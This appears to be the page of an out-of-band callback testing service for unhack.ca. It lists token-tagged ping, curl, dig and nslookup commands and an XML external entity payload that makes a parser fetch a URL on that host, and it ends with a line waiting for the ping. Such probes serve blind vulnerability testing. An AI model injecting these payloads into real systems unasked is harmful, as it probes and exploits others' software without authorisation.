$ ping -c1 -p 00966eb8ebd76f1aefa6c3b272d28a00 unhack.ca
 
$ curl http://unhack.ca/p/966eb8ebd76f1aefa6c3b272d28a
 
$ dig 966eb8ebd76f1aefa6c3b272d28a @unhack.ca
 
$ dig 966eb8ebd76f1aefa6c3b272d28a.ns.unhack.ca
 
C:\> nslookup 966eb8ebd76f1aefa6c3b272d28a unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/966eb8ebd76f1aefa6c3b272d28a">]>
    <foo>&xxe;</foo>
Waiting for ping...